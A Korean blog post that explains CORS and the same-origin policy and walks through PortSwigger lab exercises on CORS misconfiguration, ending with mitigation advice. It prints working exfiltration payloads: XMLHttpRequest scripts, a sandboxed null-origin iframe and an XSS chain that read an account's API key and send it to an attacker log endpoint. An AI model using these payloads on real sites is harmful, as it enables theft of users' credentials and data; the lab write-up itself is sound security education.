ν‹°μŠ€ν† λ¦¬ λ·°

κ°œμš”

μ„œλ‘œ λ‹€λ₯Έ 두 개의 μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ μ œν•œ 없이 μƒν˜Έμž‘μš©ν•  수 μžˆλŠ” ν™˜κ²½μ€ λ³΄μ•ˆμƒ μ•ˆμ „ν•˜μ§€ μ•Šλ‹€ νŒλ‹¨λ˜μ–΄ λ“±μž₯ν•œ 것이 CORS와 SOPμž…λ‹ˆλ‹€.

 

μš°μ„  CORS의 μ£Όμš” λͺ©μ μ€ APiν™˜κ²½μ—μ„œ 주둜 μ‚¬μš©λ˜λŠ”λ° λΈŒλΌμš°μ € <-> μ„œλ²„ μ„œλ‘œ 간에 μ•ˆμ „ν•œ μš”μ²­ 및 전솑을 ν•˜μ—¬ λ‹€μ–‘ν•œ κ³³μ—μ„œ κ°€μ Έμ˜€λŠ” λ¦¬μ†ŒμŠ€κ°€ μ΅œμ†Œν•œ μ•ˆμ „ν•œ λ°μ΄ν„°λΌλŠ” 것을 보μž₯λ°›κΈ° μœ„ν•¨μž…λ‹ˆλ‹€. SOP(Same Origin Policy)λŠ” cors와 λ‹€λ₯΄κ²Œ λ™μΌν•œ μΆœμ²˜μ—μ„œλ§Œ λ¦¬μ†ŒμŠ€λ₯Ό κ³΅μœ ν•œλ‹€λŠ” 것을 μ˜λ―Έν•˜λŠ”λ° μ΄λŠ” λ„ˆλ¬΄ μ œν•œμ μ΄λΌ μ„œλΉ„μŠ€ μ°¨μ›μ—μ„œ λ„ˆλ¬΄ μ œν•œμ μ΄λΌ corsκ°€ λ“±μž₯ν•œ κ²ƒμž…λ‹ˆλ‹€.

ν•˜μ§€λ§Œ μ‚¬μš©μžλ“€μ˜ 편의λ₯Ό μœ„ν•΄ μƒκ²¨λ‚œ CORS 정책에 λŒ€ν•΄ λ„ˆλ¬΄ μœ μ—°ν•˜κ²Œ 섀정을 ν•˜κ²Œ 된 경우 μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ 정상적인 흐름을 μ•…μš©ν•˜μ—¬ 타 μ‚¬μš©μžμ˜ κ°œμΈμ •λ³΄λ₯Ό ν›”μΉ˜κ±°λ‚˜ μΉ¨ν•΄λ₯Ό μΌμœΌν‚¬ κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

제3의 λ„메인을 ν—ˆμš©ν•˜κ³  μžˆλŠ”μ§€ ν™•μΈν•˜κΈ° μœ„ν•΄μ„  μš”μ²­ νŒ¨ν‚·μ˜ ν—€λ”λ₯Ό λΆ„석해볼 ν•„μš”κ°€ μžˆμŠ΅λ‹ˆλ‹€.

GET / HTTP/1.1
Host: www.example.com
Origin: Accept Domain

Origin ν—€λ”에 ν—ˆμš©ν•˜λŠ” λ„메인이 μ νžŒ μƒνƒœλ‘œ μš”청이 λ„˜μ–΄κ°€κ²Œ λ˜λ©΄ μ‘λ‹΅ μ„œλ²„μ—μ„œλŠ”

HTTP/1.1 200 OK
Access-Control-Allow-Origin: Accept Domain OR *(All allow)
Access-Control-Allow-Credentials: true

와 ν•¨κ»˜ μš”μ²­λœ μ œ3의 λ„메인이 ν—ˆμš©λ˜μ–΄ μžˆλŠ” 것을 ν™•μΈν•  μˆ˜ μžˆμŠ΅λ‹ˆλ‹€. μ΄λ ‡κ²Œ λ  경우 ν•΄λ‹Ή Accept Domain에 λΆ€μ—¬λœ μ£Όμ†Œμ—μ„œ λŒ€μƒ μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ μ½˜ν…μΈ μ— μ•‘μ„ΈμŠ€κ°€ κ°€λŠ₯ν•˜λ‹€λŠ” 것을 μ˜λ―Έν•©λ‹ˆλ‹€.

 

λ¬΄λΆ„λ³„ν•œ 제3의 λ„λ©”μΈμ˜ μ•‘μ„ΈμŠ€λ₯Ό κ³Όλ„ν•˜κ²Œ ν—ˆμš©ν•  경우 λ°œμƒ κ°€λŠ₯ν•œ λ¬Έμ œλ“€μ€

- CSRF(Cross Site Request Forgery)
- XSS(Cross Site Scripting)
- Sensitive Data Exposure
 λ“±

λ§Œμ•½ μ•…μ˜μ μΈ μ‚¬μš©μžκ°€ λŒ€μƒ νŽ˜μ΄μ§€μ˜ λ‘œμ§μ„ λΆ„μ„ν•˜μ—¬ ν΄λΌμ΄μ–ΈνŠΈ 츑의 ν–‰μœ„λ₯Ό λ³€μ‘°μ‹œν‚¬ 수 μžˆλŠ” 슀크립트λ₯Ό λ©”μΌλ‘œ μš”μ²­ν•˜κ²Œ 되면 μ‚¬μš©μžλŠ” ν•΄λ‹Ή 메일을 μ—΄λžŒ μ‹œ κ³΅κ²©μžκ°€ 지정해둔 슀크립트 둜직이 μ–΄λŠ νŽ˜μ΄μ§€μ— 있건 νλ¦„λŒ€λ‘œ 싀행이 λ˜μ–΄λ²„λ¦΄ κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

μœ„ 방법 외에도 λŒ€μƒ μ„œλ²„μ— μ•…μ„± μŠ€ν¬λ¦½νŠΈκ°€ μ‚½μž…λœ νŒŒμΌμ„ μ—…λ‘œλ“œν•˜κ±°λ‚˜, μžμ‹ μ˜ μ•…μ„± μ›Ή μ„œλ²„λ₯Ό λ‘œλ“œν•˜λ„λ‘ ν•˜μ—¬ λ°˜μ‚¬λœ λ‘œκ·Έμ— μ˜ν•΄ μ£Όμš” 정보λ₯Ό νƒˆμ·¨ν•  κ°€λŠ₯성도 λ°°μ œν•  수 μ—†μŠ΅λ‹ˆλ‹€.

 

λ§Œμ•½ λŒ€μƒ μ„œλ²„μ™€ μƒν˜Έμž‘μš©ν•  수 μžˆλŠ” μ „μ œμ‘°κ±΄μ΄ μ œν•œμ μ΄λΌλ©΄ 이메일을 μ—΄λžŒν•΄λ„ μ„œλ‘œ λ‹€λ₯Έ 좜처라 νŒλ‹¨ν•˜κΈ° λ•Œλ¬Έμ— μš”μ²­μ„ 사전에 λ§‰μ•˜μ„ ν…Œκ³  μ•…μ„± ν–‰μœ„ 자체λ₯Ό μ§€μ •λœ 도메인 ν•œν•΄μ„œλ§Œ μž‘λ™ν•˜λ„λ‘ λ˜μ–΄ 타 μ‚¬μš©μžλ“€μ˜ 데이터λ₯Ό μΉ¨ν•΄ν•˜κΈ° νž˜λ“€μ–΄μ‘Œμ„ κ²λ‹ˆλ‹€.

 

μš”μ²­ 방식

1. κΈ°λ³Έ μš”μ²­(simple request)
GET, HEAD, POSTλ₯Ό μ‚¬μš©ν•˜κ³  POST μš”μ²­ μ‹œ -> Origin헀더λ₯Ό ν¬ν•¨

λ‹€λ₯Έ μΆœμ²˜μ˜ λ¦¬μ†ŒμŠ€ μš”μ²­(HTTP) -> μš”μ²­ ν—€λ”에 Originμ΄λΌλŠ” μžμ‹ μ˜ μΆœμ²˜ μ£Όμ†Œμ™€ μ‚¬μš©ν•  λ©”μ†Œλ“œλ₯Ό ν•¨κ»˜ μš”μ²­ -> μ„œλ²„κ°€ μš”청을 λ°›μœΌλ©΄ "Access-Control-Allow-Origin"에 μ ‘근이 ν—ˆμš©λœ μΆœμ²˜λ₯Ό ν‘œμ‹œν•΄μ„œ μ‘λ‹΅ -> μ‘닡을 λ°›μ€ λΈŒλΌμš°μ €λŠ” μžμ‹ μ΄ λ³΄λƒˆλ˜ Originκ³Ό Access-Control-Allow-Origin을 λΉ„κ΅ν•˜μ—¬ μžμ‹ μ˜ originμ—μ„œ μš”μ²­ν•  μˆ˜ μžˆλ‹€λ©΄ μ „솑을 ν•˜κ³  λΆˆκ°€λŠ₯ν•˜λ‹€λ©΄ μ—λŸ¬λ₯Ό λ°œμƒ


2. μ˜ˆλΉ„ μš”μ²­(preflight)
PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH λ°©μ‹μ„ μ‚¬μš©ν•  κ²½μš°
μ–΄λ–»κ²Œ? -> XMLHttpRequest λ˜λŠ” FetchAPIλ₯Ό ν†΅ν•΄ ν˜ΈμΆœ

 

μš”μ²­ μ‹œ ν•œ λ²ˆμ— 보내지 μ•Šκ³  μ•ˆμ „ν•œμ§€ 사전에 ν™•μΈν•˜κΈ° μœ„ν•΄ μ˜ˆλΉ„ μš”μ²­μ΄λΌ λΆˆλ¦¬λŠ” Preflightλ₯Ό λ³΄λ‚΄λŠ”λ°. μ΄μ•ˆμ—λŠ” μ„œλ²„κ°€ ν—ˆμš© μ—¬λΆ€λ₯Ό κ²°μ •ν•˜κΈ° μœ„ν•œ OPTIONS λ©”μ†Œλ“œκ°€ μ‚¬μš©λ©λ‹ˆλ‹€.

 

μ˜ˆλΉ„ μš”μ²­μ„ μ„œλ²„κ°€ λ°›μœΌλ©΄ ν˜„μž¬ μ–΄λ–€ 것듀 ν—ˆμš©ν•˜κ³  κΈˆμ§€ν•˜κ³  μžˆλŠ”μ§€μ˜ 정보λ₯Ό 응닡에 λ‹΄μ•„μ„œ λ‹€μ‹œ 보내쀀닀. κ·Έ ν›„ μš”μ²­κ³Ό 응닡을 λΉ„κ΅ν•˜μ—¬ μ΅œμ’…μ μœΌλ‘œ λ³Έ 데이터λ₯Ό λ³΄λ‚΄κ²Œ λ©λ‹ˆλ‹€.

*λ§Œμ•½ WAFλ‹¨μ—μ„œ OPTIONSλ₯Ό μ°¨λ‹¨ν•˜κ³  μžˆλ‹€λ©΄ 달라짐

 

λ§Œμ•½ Preflight λ°©μ‹μ—μ„œ μš”μ²­μ— λŒ€ν•œ μ •μ±…μœ„λ°˜ μ—λŸ¬κ°€ λ‚˜νƒ€λ‚˜μ§€ μ•Šκ³  HTTP 200으둜 λŒμ•„μ™”μœΌλ‹ˆ 된 것 μ•„λ‹ˆλƒκ³  νŒλ‹¨ν•˜λŠ” κ²½μš°κ°€ μžˆμ§€λ§Œ 잘λͺ»λœ 생각이닀. CORS μ •μ±… μœ„λ°˜μœΌλ‘œ μΈν•œ μ—λŸ¬λŠ”!= μ˜ˆλΉ„ μš”μ²­μ˜ 성곡 여뢀와 상관이 없이 κ²°κ³Ό 값을 λ³΄μ—¬μ£ΌλŠλƒ μ•ˆ λ³΄μ—¬μ£ΌλŠλƒ κ°€ μ€‘μš”ν•œ κ²ƒμž…λ‹ˆλ‹€.

 

응닡 헀더에 λ…ΈμΆœλœ Access-Control-Allow-Origin 값이 " * "이외에 Origin:에 μž„μ˜ μ£Όμ†Œκ°€ 응닡 κ°’μœΌλ‘œ λ™μΌν•˜κ²Œ μ‘΄μž¬ν•œλ‹€λ©΄ ν—ˆμš©λœ κ²ƒμœΌλ‘œ νŒλ‹¨ν•˜λ©΄ λ©λ‹ˆλ‹€. 즉 μš”μ²­μ΄ μ‹€νŒ¨ν•˜μ—¬ HTTP 200이 μ•„λ‹Œ λ‹€λ₯Έ 응닡 μ½”λ“œλ₯Ό 받더라도 Access-Control-Allow-Origin에 값이 μ œλŒ€λ‘œ λ“€μ–΄κ°€ μžˆλ‹€λ©΄ μ •μ±… μœ„λ°˜μ΄ μ•„λ‹™λ‹ˆλ‹€.

 

μœ„μ™€ 같이 2가지 방식을 μ‚¬μš©ν•˜μ—¬ CORSμš”μ²­μ„ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 보톡 κΈ°λ³Έ μš”μ²­μΈ Simple Request 방식을 μ‚¬μš©ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

CORS Misconfiguration(Basic)

μ•ˆμ „ν•˜μ§€ μ•Šμ€ CORS μ •μ±…μœΌλ‘œ 인해 타 μ‚¬μš©μžλ“€ λ˜λŠ” κ΄€λ¦¬μžμ˜ 데이터λ₯Ό λ…ΈμΆœλ  수 μžˆλ‹€λŠ” 것을 ν…ŒμŠ€νŠΈν•΄λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€.

Burp Suite의 ν”„λ‘μ‹œλ₯Ό ν™œμ„±ν™”ν•΄λ‘μ‹  μƒνƒœμ—μ„œ wienerλΌλŠ” 일반 μ‚¬μš©μžμ˜ 계정을 톡해 λ‘œκ·ΈμΈμ„ μ§„ν–‰ν•©λ‹ˆλ‹€.

 

λ‘œκ·ΈμΈμ„ μˆ˜ν–‰ν•˜κ³  λ‚˜λ©΄ History 탭에 μš”μ²­κ³Ό 응닡 간에 주고받은 데이터쀑. μ‚¬μš©μžμ˜ ID와 Passwordλ₯Ό μž…λ ₯ν•˜λ©΄ μ„œλ²„ μΈ‘μ—μ„œ 그에 λ”°λ₯Έ apikey 값을 ν• λ‹Ήν•΄μ£Όκ³  μžˆμŠ΅λ‹ˆλ‹€.

 

ν•΄λ‹Ή νŒ¨ν‚·μ„ Reapeter둜 μž‘μ•„μ„œ Origin 헀더λ₯Ό μΆ”κ°€ ν›„ μž„μ˜ 도메인 μ£Όμ†Œλ₯Ό μž…λ ₯ν•˜μ—¬ 제3의 도메인이 μ•‘μ„ΈμŠ€κ°€ κ°€λŠ₯ν•œμ§€ 확인해보면

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

 

μœ„ 2개의 헀더λ₯Ό 응닡에 λΆ™μ—¬μ€ŒμœΌλ‘œμ¨ https://example.com 도메인이 λ¦¬μ†ŒμŠ€λ₯Ό κ³΅μœ ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•œλ‹€λŠ” 것을 μ˜λ―Έν•©λ‹ˆλ‹€.  

 

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://ac3d1f591eaf55da80fe0790005a0018.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

XMLHttpRequestλ₯Ό 톡해 cors(ꡐ차 좜처)λ₯Ό μš”μ²­μ„ ν•˜κ²Œ λ˜λŠ”λ° μ—¬κΈ°μ„œ CORS 헀더에 ν—ˆμš©ν•˜κ³ μž ν•˜λŠ” 도메인이 μ§€μ •λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€. XHR은 μ„œλ²„μ™€ μƒν˜Έμž‘μš© ν•˜κΈ° μœ„ν•΄ μ‚¬μš©λ˜λŠ” 객체둜 XML 이외에 λͺ¨λ“  데이터λ₯Ό λ°›μ•„μ˜¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

μœ„μ™€ 같은 μžλ°”μŠ€ν¬λ¦½νŠΈλ₯Ό μž‘μ„±ν•˜μ—¬ λŒ€μƒ μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ Formμ΄λ‚˜ 곡격자의 μ„œλ²„μ— μ €μž₯ν•΄ 두고 타 μ‚¬μš©μžλ“€μ΄ μŠ€ν¬λ¦½νŠΈκ°€ μ‚½μž…λœ νŽ˜μ΄μ§€λ‘œ μ ‘κ·Όν•˜λ„λ‘ λŒ€κΈ°ν•©λ‹ˆλ‹€.

 

λ§Œμ•½ λ‘œκ·ΈμΈμ„ μˆ˜ν–‰ν•œ κ΄€λ¦¬μžκ°€ ν•΄λ‹Ή 슀크립트λ₯Ό ν™•μΈν•˜κ²Œ 될 경우 req.open에 μ§€μ •λœ μ£Όμ†Œλ₯Ό μžλ™ λ‘œλ“œν•˜κ²Œ λ˜μ–΄ ν‚€ κ°’μ΄λ‚˜ μ„Έμ…˜ 값이 μžμ—°μŠ€λŸ½κ²Œ 곡격자 μ„œλ²„μ˜ λ‘œκ·Έλ‹¨μ— 기둝되게 λ©λ‹ˆλ‹€.

 

CORS Misconfiguration(Trust null)

ꡐ차 좜처 λ¦¬μ†ŒμŠ€ 접근을 μ–΄λŠ 정도 μ œν•œν•˜κΈ° μœ„ν•΄ μ‹ λ’°ν•  수 μžˆλŠ” λ„λ©”μΈλ§Œ μ§€μ •ν•˜λŠ” κ²½μš°κ°€ λ‹€μˆ˜ μ‘΄μž¬ν•˜μ§€λ§Œ Origin 헀더에 μ–΄λ–€ 값듀이 λ“€μ–΄κ°ˆ 수 μžˆλŠ”μ§€ μ •ν™•νžˆ 확인해볼 ν•„μš”κ°€ μžˆμŠ΅λ‹ˆλ‹€.

μ „κ³Ό λ§ˆμ°¬κ°€μ§€λ‘œ Origin 헀더에 μž„μ˜ 제3 도메인을 μž…λ ₯ν•˜μ—¬ μš”μ²­μ„ 보내보면 응닡 헀더에 ν•΄λ‹Ή λ„λ©”μΈμ˜ μ•‘μ„ΈμŠ€κ°€ ν—ˆμš©λ˜μ§€ μ•Šμ•˜λ‹€λŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

μœ„μ˜ 정보λ₯Ό 톡해 Origin ν—€λ”μ—λŠ” ν—ˆμš©λ˜λŠ” 제3의 도메인 정보 이외에 "null" 값을 μž…λ ₯받을 수 μžˆμœΌλ―€λ‘œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ 기반의 도메인 μ •μ±… κ΄€λ¦¬λ§ŒμœΌλ‘œλŠ” μ•ˆμ „ν•˜κ²Œ μš΄μ˜ν•  수 μ—†μŠ΅λ‹ˆλ‹€.

 

Origin: null을 λΆ€μ—¬ν•΄μ£Όλ©΄ 응닡 값에 ν—ˆμš©λœ μš”μ²­μœΌλ‘œ μ²˜λ¦¬ν•΄μ€λ‹ˆλ‹€.

 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
   var req = new XMLHttpRequest ();
   req.onload = reqListener;
   req.open('get','https://ac8c1f541ee0916580ec22e1004900a7.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='https://acfe1f301e3c91e2800e22260167001e.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe>

ν•΄λ‹Ή 슀크립트λ₯Ό μ‚½μž…ν•˜μ—¬ μ‚¬μš©μžλ“€μ΄ μ—΄λžŒμ„ ν•  λ•ŒκΉŒμ§€ κΈ°λ‹€λ €μ£Όκ±°λ‚˜ λ³„λ„μ˜ 곡격자 μ„œλ²„μ— κ΅¬μΆ•ν•˜μ—¬ μ ‘κ·Όν•˜λ„λ‘ μš”μ²­μ„ ν•©λ‹ˆλ‹€.

 

CORS Misconfiguration(Whitelist+XSS)

λͺ¨λ“  도메인 λ˜λŠ” Origin에 λΆ€μ—¬λœ null 속성을 λͺ¨λ‘ 차단할 경우 λŒ€λΆ€λΆ„μ˜ λ³΄μ•ˆμ„€μ •μ€ μ™„λ£Œλœ κ²ƒμœΌλ‘œ νŒλ‹¨λ©λ‹ˆλ‹€. ν•˜μ§€λ§Œ ν—ˆμš©ν•˜κ³  μžˆλŠ” ν•˜μœ„ 도메인 쀑 타 취약점이 발견될 경우 2가지 취약점을 μ•…μš©ν•˜μ—¬ 타 μ‚¬μš©μžμ—κ²Œ μΉ¨ν•΄κ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

ν˜„μž¬ μž„μ˜ 도메인과 "null" 속성 λͺ¨λ‘ 차단을 ν•˜μ—¬ 응닡 값에 κ³΅κ²©μžκ°€ ν•˜κ³ μž ν•˜λŠ” μΆ”κ°€ μ•…μ„± ν–‰μœ„κ°€ λΆˆκ°€λŠ₯ν•©λ‹ˆλ‹€.

 

νŽ˜μ΄μ§€ λ‘œμ§μ„ λΆ„μ„ν•˜λ‹€ 보면 μ½˜ν…μΈ μ— λŒ€ν•œ μ•‘μ„ΈμŠ€λ₯Ό ν•˜μœ„ 도메인과 μƒν˜Έμž‘μš©ν•˜μ—¬ μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•˜λŠ” κ²½μš°κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

νŽ˜μ΄μ§€ λ‘œμ§μ— λ…ΈμΆœλœ ν•˜μœ„ 도메인을 Origin 헀더에 λΆ€μ—¬ν•΄λ³΄λ‹ˆ ν—ˆμš©λœ κ²ƒμœΌλ‘œ 보아 μ•‘μ„ΈμŠ€κ°€ κ°€λŠ₯ν•œ κ²ƒμœΌλ‘œ ν™•μΈλ©λ‹ˆλ‹€.

 

ν•˜μœ„ λ„λ©”μΈμœΌλ‘œ μ ‘κ·Όν•˜μ—¬ ν•΄λ‹Ή λ³€μˆ˜μ— 타 취약점이 μ‘΄μž¬ν•˜λŠ”μ§€ 확인해보기 μœ„ν•΄ XSS 슀크립트 μ½”λ“œλ₯Ό μ‚½μž…ν•΄ λ³Έ κ²°κ³Ό 지정해둔 μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜λŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

<script>
   document.location="http://stock.ac911f391efc913180b0238e00d90092.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener;
   req.open('get','https://ac911f391efc913180b0238e00d90092.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener()
   {location='https://ac301f981e74918380712332014b006f.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

μ·¨μ•½ λ§€κ°œλ³€μˆ˜μ— μ‚½μž…λœ μŠ€ν¬λ¦½νŠΈκ°€ μžˆλŠ” 곳을 기점으둜 ν•΄μ„œ κ³΅κ²©μžκ°€ μ›ν•˜λŠ” μ—”λ“œν¬μΈνŠΈ μ˜μ—­μœΌλ‘œ μ‚¬μš©μžλ“€μ΄ μ ‘κ·Όν•  수 μžˆλ„λ‘ ν•˜κ³  μš”μ²­ 값은 곡격자의 μ„œλ²„λ‘œ μ „μ†‘λ˜λ„λ‘ ν•  경우 μ„€μ •λœ ν™”μ΄νŠΈ 리슀트 기반의 도메인 μ •μ±…κ³Ό null κ°’ λͺ¨λ‘ μš°νšŒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

κ΄€λ¦¬μžκ°€ ν•΄λ‹Ή 슀크립트λ₯Ό μ—΄λžŒν•˜κ²Œ 될 경우 κ΄€λ¦¬μžμ˜ μžμ‹ μ˜ κΆŒν•œμ„ 정상적인 μ„œλ²„μ— μš”μ²­ν•œλ‹€κ³  μƒκ°ν•˜μ§€λ§Œ μ§€μ •λœ 슀크립트 νλ¦„μœΌλ‘œ 인해 μ •λ³΄λŠ” 곡격자의 μ„œλ²„μ— 찍히게 λ©λ‹ˆλ‹€.

 

CORS Test 2가지

첫 번째 방법(1)

# curl TEST_Domain -H "Origin: Accept_Domain" -I

ν”„λ‘μ‹œ 도ꡬλ₯Ό 톡해 찍어봐도 μ•Œ 수 μžˆμ§€λ§Œ κ°„λ‹¨ν•˜κ²Œ curl을 μ‚¬μš©ν•΄ μ½˜μ†”μ—μ„œ 확인이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

 

두 번째 방법(2)

github.com/chenjj/CORScanner

 

chenjj/CORScanner

Fast CORS misconfiguration vulnerabilities scanner🍻 - chenjj/CORScanner

github.com

μƒλ‹¨μ˜ 링크λ₯Ό 톡해 μžλ™ν™” μŠ€μΊ”μ΄ κ°€λŠ₯ν•©λ‹ˆλ‹€. 기본적으둜 μ œν•œν•˜κ³  μžˆλŠ” μ •μ±…λ“€μ˜ 우회λ₯Ό μ§€μ›ν•˜λ©° ν…μŠ€νŠΈ νŒŒμΌμ— λ‹΄κΈ΄ μ—¬λŸ¬ 도메인을 κΈ°μ€€μœΌλ‘œ ν…ŒμŠ€νŠΈκ°€ κ°€λŠ₯ν•˜κΈ°μ— ν•˜μœ„ λ„λ©”μΈκΉŒμ§€ λͺ¨λ‘ μ§„λ‹¨ν•˜κ³ μž ν•œλ‹€λ©΄ 유용히 μ‚¬μš© κ°€λŠ₯ν•  κ²ƒμœΌλ‘œ λ³΄μž…λ‹ˆλ‹€.

 

λ§Œμ•½ μ·¨μ•½ν•œ CORS 정책이 확인될 경우 둜그 ν˜•νƒœμ˜ μ½˜μ†”μ„ λͺ¨λ‘ 좜λ ₯ν•˜μ—¬ λ³΄μ—¬μ€λ‹ˆλ‹€. κ·Έ ν›„μ—λŠ” 이제 ν”„λ‘μ‹œ 도ꡬλ₯Ό μ‚¬μš©ν•΄μ„œ μˆ˜λ™μœΌλ‘œ κ²€μ¦ν•΄λ³΄κ±°λ‚˜ μ—”λ“œν¬μΈνŠΈμ— λ…ΈμΆœλœ 민감정보λ₯Ό ν™œμš©ν•˜μ—¬ μ‹œλ‚˜λ¦¬μ˜€λ₯Ό μž‘μ„±ν•  수 μžˆκ² μŠ΅λ‹ˆλ‹€.

 

λ²ˆμ™Έλ‘œ Chrome λΈŒλΌμš°μ €λ₯Ό 톡해 CORSλ₯Ό ν…ŒμŠ€μ€‘μ— 개발자 λ„κ΅¬μ˜ Console 단에 μ—λŸ¬κ°€ λ°œμƒν•œλŠ” κ²½μš°κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

Access to XMLHttpRequest at 'https://example.com/file=.js' from origin 'http://127.0.0.1:8887' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

μƒλ‹¨μ—μ„œ 같은 μ—λŸ¬ 문ꡬλ₯Ό 마주칠 수 μžˆλ‹€. μ΄λŸ¬ν•œ λ¬Έμ œλŠ” λΈŒλΌμš°μ € 기반의 λ³΄μ•ˆ 방식인 SOP 즉 동일 좜처 정책을 μœ„λ°˜ν–ˆκΈ° λ•Œλ¬Έμ— λ°œμƒν•œ κ²ƒμœΌλ‘œ μ‹ λ’°ν•  수 μžˆλŠ” κ²½λ‘œκ°€ μ•„λ‹Œ file=C:\W 등을 μ°¨λ‹¨ν•©λ‹ˆλ‹€.

λ˜ν•œ 개발자 λ„κ΅¬μ—μ„œ Network -> Header μͺ½ μ˜μ—­μ΄ μš”μ²­ν—€λ”λ₯Ό 확인해보면 λΈŒλΌμš°μ €κ°€ 둜컬 νŒŒμΌμ— μ ‘κ·Όν•˜μ§€ λͺ»ν•˜λ„둝 ν•˜κΈ° μœ„ν•΄ 기쑴에 뢈러둠 둜컬 경둜 -> null처리 ν•˜κ³  μžˆμ–΄ μ•ˆλ˜λŠ” κ²½μš°κ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

μ΄λŸ΄λ•ŒλŠ” Chrome의 ν™•μž₯도ꡬ인 "Allow CORS: Access-Control-Allow-Origin" λ₯Ό μ„€μΉ˜ν•΄λ³΄μ‹œκ±°λ‚˜ 크둬이 μ„€μΉ˜λœ 경둜둜 μ΄λ™ν•˜μ—¬ λ°”λ‘œκ°€κΈ°μ˜ '속성 > λ°”λ‘œκ°€κΈ° > λŒ€μƒ .exe μ˜†κ³΅κ°„μ— --disable-web-security λ₯Ό μΆ”κ°€ ν•΄λ³΄μ‹œκΈΈ λ°”λžλ‹ˆλ‹€.

 

μ•ˆμ „ν•œ CORS μ •μ±… μ‚¬μš©

Access-Control-Allow-Origin 헀더에 "null"κ³Ό " * " λͺ¨λ‘λ₯Ό ν—ˆμš©ν•˜λŠ” 것이 μ•„λ‹Œ μ μ ˆν•œ λ„λ©”μΈμ˜ 좜처λ₯Ό μž‘μ„±ν•΄ λͺ…μ‹œλœ λ„λ©”μΈμ—μ„œλ§Œ 접근이 κ°€λŠ₯ν•˜λ„λ‘ ν•΄μ•Ό λ©λ‹ˆλ‹€. 즉 ν—ˆμš©ν•˜κ³ μž ν•˜λŠ” 제3의 도메인을 μ •ν™•ν•˜κ²Œ λͺ…μ‹œν•˜μ—¬ κ΄€λ¦¬ν•˜μ§€ μ•Šκ±°λ‚˜ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” μž„μ˜ λ„λ©”μΈμœΌλ‘œλΆ€ν„° μ•‘μ„ΈμŠ€λ₯Ό 차단해야 λ©λ‹ˆλ‹€.

ν™”μ΄νŠΈ 리슀트 기반의 도메인을 λͺ…μ‹œν•˜κΈ° μœ„ν•΄

(1) μ›Ή μ„œλ²„ μ„€μ • νŒŒμΌμ— μΆ”κ°€

(2) λ°±μ—”λ“œ ν”„λ ˆμž„μ›Œν¬μ— CORSκ΄€λ ¨ 섀정을 ν•΄μ£Όμ‹œλ©΄ λ©λ‹ˆλ‹€.

λ§ˆμ§€λ§‰μœΌλ‘œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ 기반으둜 μ•ˆμ „ν•œ 정책을 이미 μ‚¬μš© 쀑이라면 ν•΄λ‹Ή 제3의 도메인듀에 λŒ€ν•΄μ„œλ„ λ‹€λ₯Έ 취약점에 λ…ΈμΆœλ˜μ§€ μ•Šλ„λ‘ λ³΄μ•ˆ μˆ˜μ€€μ„ 올렀 ν—ˆμš©λœ 도메인을 ν†΅ν•œ μ•…μ„± ν–‰μœ„κ°€ λΆˆκ°€λŠ₯ν•˜λ„λ‘ ν•΄μ£Όμ…”μ•Ό λ©λ‹ˆλ‹€.

κ³΅μœ ν•˜κΈ° 링크
Comment